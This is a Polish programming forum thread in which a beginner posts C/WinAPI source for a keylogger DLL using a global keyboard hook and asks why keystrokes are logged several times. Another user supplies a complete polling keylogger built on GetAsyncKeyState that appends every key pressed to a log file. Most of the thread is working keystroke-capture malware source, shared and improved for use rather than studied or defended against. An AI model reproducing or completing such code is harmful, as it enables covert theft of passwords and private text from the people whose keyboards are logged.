Pierwszy(prosty)keylogger

karo9

Użytkownik
Dołączył
Sierpień 3, 2007
Posty
30
Witam
Postanowiłem napisać prostego keyloggera opierajac sie na opisie hooków ze strony: http://www.winapi.org/
Jednak gdy napisałem odpowiedni plik dll to zaczeły się problemy. Oto plik:
Kod:
#include <windows.h>



DWORD dTimeIdle=0;

static HHOOK hhookKeyb;

HANDLE plik;

int licznik = 0;

char buffor[10];

DWORD zapisane;



LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);



BOOL WINAPI DllMain(  HINSTANCE hModule, 

                            DWORD  ul_reason_for_call, 

                            LPVOID lpReserved

                            )

{

    static HINSTANCE hinstDLL = hModule;

    static HOOKPROC hkprcKeyb;





    switch(ul_reason_for_call)

    {

    case DLL_PROCESS_ATTACH:



        hhookKeyb = SetWindowsHookEx(WH_KEYBOARD, 

             KeyboardProc, hinstDLL, 0);

        if(!hhookKeyb)

            MessageBox(NULL, "Ustawienie HOOK'a NIE powiodło się", "Info", MB_OK | MB_ICONERROR);

        

        plik = CreateFile("C:Documents and SettingsAdminPulpitklawisz.txt", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, 0, NULL);



        if(plik == INVALID_HANDLE_VALUE)

            MessageBox(NULL, "Nie można otworzyć pliku.", "A to pech!", MB_ICONEXCLAMATION);



        break;



    case DLL_PROCESS_DETACH:



        if(!UnhookWindowsHookEx(hhookKeyb))

            MessageBox(NULL, "Usunięcie HOOK'a NIE powiodło się", "Info", MB_OK | MB_ICONERROR);

        

        if(licznik != 0)

            WriteFile(plik, buffor, licznik, &zapisane, NULL);



        CloseHandle(plik);



        break;

    }

    return TRUE;

}



LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)

{

    char tab[255];

    

    if((lParam & 0x80000000) == 0)

        return CallNextHookEx(hhookKeyb, nCode, 

        wParam, lParam);



    if (nCode < 0)  

    return CallNextHookEx(hhookKeyb, nCode, 

        wParam, lParam);



    wsprintf(tab, "%c", wParam);

    buffor[licznik] = tab[0];

    ++licznik;

    if(licznik == 10)

    {

        if(!WriteFile(plik, buffor, 10, &zapisane, NULL))

            MessageBox(0, "Błąd podczas zapisu", "Błąd", 0);

        licznik = 0;

    }



    return CallNextHookEx(hhookKeyb, nCode, 

        wParam, lParam);

}

Moje problemy:
1.Wydaje mi się iż za każdym razem kiedy otwieram jakąś aplikacje(po uruchomieniu keyloggera) hook tworzy się od początku i nadpisuje stara wersje pliku, gdy wracam i pisze coś innego to ta druga aplikacja nadpisuje pierwszą(i tak w kółko) - w ostateczności nic nie można odczytać z pliku z logami.
2. Plik ten używam w prostej aplikacji (coś jak szablon z dev-a Windows Application) gdzie dodaje w miejsce WM_CREATE kod dll = LoadLibrary("DLL.dll"); i gdy otwiera się okienko aplikacji i zaczynam pisać w tym okienku, a następnie je zamykam to wszystko jest ok ale gdy np. otworze notatnik (podczas działania keyloggera(otwarte okienko))napisze cos i zamkne notatnik i okienko to w pliku z logami zamiast np. BLA jest BBLLAA - przypominam o tym, że jak pisze w okienku to wszystko jest ok , a oprócz tego występuje problem nr 1 chyba że nic nie napisze w okienku aplikacji(chodzi o keylogger)

Ma ktoś może jakiś pomysł jak można ten problem rozwiązać może jakiś błąd jest w kodzie???Może źle zrozumiałem artykuł o hookach i coś przeoczyłem???

PS Starałem się opisać problem w sposób "najjaśniejszy" jak by coś nie było jasne to proszę pytać!!!

[ Dodano: 18-11-2007, 12:12 ]
Witam ponownie.
Poprawiłem poprzedni kod na:
Kod:
#include <windows.h>

#include <fstream>



DWORD dTimeIdle=0;

static HHOOK hhookKeyb;

int licznik = 0;

char buffor[10];

DWORD zapisane;

std::ofstream plik;

char gdzie[] = "C:Documents and SettingsAll UsersDokumentyklawisz.txt";



LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);



BOOL WINAPI DllMain(  HINSTANCE hModule, 

                            DWORD  ul_reason_for_call, 

                            LPVOID lpReserved

                            )

{

    static HINSTANCE hinstDLL = hModule;

    static HOOKPROC hkprcKeyb;





    switch(ul_reason_for_call)

    {

    case DLL_PROCESS_ATTACH:

        MessageBox(0, "dll - uruchomiono", "bla", 0);

        hhookKeyb = SetWindowsHookEx(WH_KEYBOARD, 

             KeyboardProc, hinstDLL, 0);

        if(!hhookKeyb)

            MessageBox(NULL, "Ustawienie HOOK'a NIE powiodło się", "Info", MB_OK | MB_ICONERROR);

    

        plik.open("C:Documents and SettingsAll UsersDokumentyklawisz.txt", std::ios_base::out | std::ios_base::app);

        if(!plik.is_open())

            MessageBox(0, "Błąd podczas otwarcia pliku(nowa wersja)", "Błąd", 0);

        plik.close();



        break;



    case DLL_PROCESS_DETACH:

        MessageBox(0, "dll - zamknieto", "bla", 0);

        if(!UnhookWindowsHookEx(hhookKeyb))

            MessageBox(NULL, "Usunięcie HOOK'a NIE powiodło się", "Info", MB_OK | MB_ICONERROR);



        break;

    }

    return TRUE;

}



LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)

{

    char tab[255];



    if (nCode < 0)  

    return CallNextHookEx(hhookKeyb, nCode, 

        wParam, lParam);



    if((lParam & 0x80000000) != 0)

        return CallNextHookEx(hhookKeyb, nCode, 

        wParam, lParam);



    wsprintf(tab, "%c %x", wParam, wParam);



    buffor[licznik] = tab[0];



    plik.open(gdzie, std::ios_base::app | std::ios_base::out);

    switch((int)wParam)

    {    

        case 0xbe:

            plik<<'.';

            plik.close();

            break;

        case 0xbc:

            plik<<',';

            plik.close();

            break;

        case 0xba:

            plik<<';';

            plik.close();

            break;

        case 0xd:

            plik<<'n';

            plik.close();

            break;

        case 0xde:

            plik<<''';

            plik.close();

            break;

        case 0x20:

            plik<<' ';

            plik.close();

            break;

        case 0x10:

            plik<<"[SHIFT]";

            plik.close();

            break;

        case 0x14:

            plik<<"[CAPS LOCK]";

            plik.close();

            break;    

        case 0x9:

            plik<<"[TAB]";

            plik.close();

            break;

        case 0x11:

            /*plik<<"[CTRL]";

            plik.close();*/

            break;

        case 0x12:

            plik<<"[ALT]";

            plik.close();

            break;

        case 0x8:

            plik<<"[BACKSPACE]";

            plik.close();

            break;

        case 0xbf:

            plik<<'/';

            plik.close();

            break;

        case 0xdc:

            plik<<"";

            plik.close();

            break;

        case 0xdb:

            plik<<'[';

            plik.close();

            break;

        case 0xdd:

            plik<<']';

            plik.close();

            break;

        case 0xbd:

            plik<<'-';

            plik.close();

            break;

        case 0xbb:

            plik<<'=';

            plik.close();

            break;

        case 0xc0:

            plik<<'`';

            plik.close();

            break;

        default:

            plik<<buffor;

            plik.close();

    }



    return CallNextHookEx(hhookKeyb, nCode, 

        wParam, lParam);

    

}

I teraz jestem pewien iż po odpaleniu aplikacji tworzy mi się hook następnie gdy otworze np. notatnik to tworzy mi się jeszcze jeden hook później gdy otworze np. worda to tworzy się trzeci hook itd. Wie ktoś może jak temu zaradzić (chodzi o to że jeżeli jest tyle hooków w systemie to każdy z osobna przechwytuje klawisz i go zapisuje np. jak są dwie aplikacje otwarte to zamiast zapisać a zapisuje aa, jak są trzy aplikacje otwarte to zamiast a zapisuje aaa itd.)
 

karo9

Użytkownik
Dołączył
Sierpień 3, 2007
Posty
30
i to ma byc keylogger? messageboxy i okienka?
Rotfl.[/b]

Dzięki za ocenę keyloggera tylko problem w tym że jestem w trakcie jego pisania a nie wystawiam gotową wersje, a messagebox i okienko są tylko po to aby ułatwić mi zadanie i żebym się orientował co i jak! Chciałbym jeszcze dodać, że dopiero się uczę i pierwszy raz przeczytałem artykuł o hookach i dowiedziałem się co to jest.

Ma ktoś jakąś inną radę??Czy hooki wogle nadają się do keyloggera(bo jak narazie nie moge napisac nie sensownego)co by dobrze działało.
 

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390
Originally posted by karo9
<div class='quotetop'>CYTAT
i to ma byc keylogger? messageboxy i okienka?
Rotfl.

Dzięki za ocenę keyloggera tylko problem w tym że jestem w trakcie jego pisania a nie wystawiam gotową wersje, a messagebox i okienko są tylko po to aby ułatwić mi zadanie i żebym się orientował co i jak! Chciałbym jeszcze dodać, że dopiero się uczę i pierwszy raz przeczytałem artykuł o hookach i dowiedziałem się co to jest.

Ma ktoś jakąś inną radę??Czy hooki wogle nadają się do keyloggera(bo jak narazie nie moge napisac nie sensownego)co by dobrze działało.[/b][/quote]

hooki wlasnie sa idealne do keyloggera i ja tez mojego napisalem tak.
 

Czak

Użytkownik
Dołączył
Grudzień 31, 2006
Posty
234
Kod bardzo prostego keyloggera (-gdzieś mi się walał po dysku,ściągnąłem jak winApi się uczyłem)


Kod:
#include <windows.h>

#include <iostream>

int WINAPI WinMain (HINSTANCE hThisInstance,

HINSTANCE hPrevInstance,

LPSTR lpszArgument,

int nFunsterStil)

{

MSG messages;

MSG msgKomunikat;

msgKomunikat.message = WM_NULL;

while (msgKomunikat.message != WM_QUIT)

{

if (PeekMessage(&msgKomunikat, NULL, 0, 0, PM_REMOVE))

{

TranslateMessage (&msgKomunikat);

DispatchMessage (&msgKomunikat);

}

else

{

short character;

for(character=8;character<=222;character++)

{

if(GetAsyncKeyState(character)==-32767)

{

FILE *file;

if(file=fopen("log.txt","a+"))

{

if((character>=39)&&(character<=64))

{

fputc(character,file);

fclose(file);

break;

}

else if((character>64)&&(character<91))

{

character+=32;

fputc(character,file);

fclose(file);

break;

}

else

{

//rozpoznajemy, który klawisz został wciśnięty

switch(character)

{

case VK_SPACE:

fputc(' ',file);

fclose(file);

break;

case VK_SHIFT:

fputs("[SHIFT]",file);

fclose(file);

break;

case VK_RETURN:

fputs("n[ENTER]",file);

fclose(file);

break;

case VK_BACK:



fputs("[BACKSPACE]",file);

fclose(file);

break;

case VK_DELETE:

fputs("[ DEL]",file);

fclose(file);

break;

case VK_OEM_1:

fputs("[;:]",file);

fclose(file);

break;

case VK_OEM_2:

fputs("[/?]",file);

fclose(file);

break;

case VK_OEM_3:

fputs("[`~]",file);

fclose(file);

break;

case VK_OEM_4:

fputs("[ [{ ]",file);

fclose(file);

break;

case VK_OEM_5:

fputs("[|]",file);

fclose(file);

break;

case VK_OEM_6:

fputs("[ ]} ]",file);

fclose(file);

break;

case VK_OEM_7:

fputs("['"]",file);

fclose(file);

break;

case VK_NUMPAD0:

fputc('0',file);

fclose(file);

break;

case VK_NUMPAD1:

fputc('1',file);

fclose(file);

break;

case VK_NUMPAD2:

fputc('2',file);

fclose(file);

break;

case VK_NUMPAD3:

fputc('3',file);

fclose(file);

break;

case VK_NUMPAD4:

fputc('4',file);

fclose(file);

break;

case VK_NUMPAD5:

fputc('5',file);

fclose(file);

break;



case VK_NUMPAD6:

fputc('6',file);

fclose(file);

break;

case VK_NUMPAD7:

fputc('7',file);

fclose(file);

break;

case VK_NUMPAD8:

fputc('8',file);

fclose(file);

break;

case VK_NUMPAD9:

fputc('9',file);

fclose(file);

break;

case VK_CAPITAL:

fputs("[CAPS LOCK]",file);

fclose(file);

break;

default:

fclose(file);

break;

}

}

}

}

}

}

}

return messages.wParam;

}

LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM

lParam)

{

switch (message)

{

case WM_DESTROY:

PostQuitMessage (0);

break;

default:

return DefWindowProc (hwnd, message, wParam, lParam);

}

return 0;

}
 

karo9

Użytkownik
Dołączył
Sierpień 3, 2007
Posty
30
Dzięki czak!

grzonu mógłbyś pokazać kod???(poniewaz tak jak pisalem ja mam nadal problemy z napisaniem keyloggera np. jak wciskam alt to mi wysyła najpierw ctrl, a dopiero potem alt albo otwierma firefoxa i coś pisze to cos innego sie zapisuje itd.(może to wina kompilatora - Microsoft Visual 2008 beta 2)
 

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390
akurat mnie tez alt nie odroznia od ctrl ale zapisuje to jako [alt/ctrl] i kazdy wie o co chodzi
 
Do góry Bottom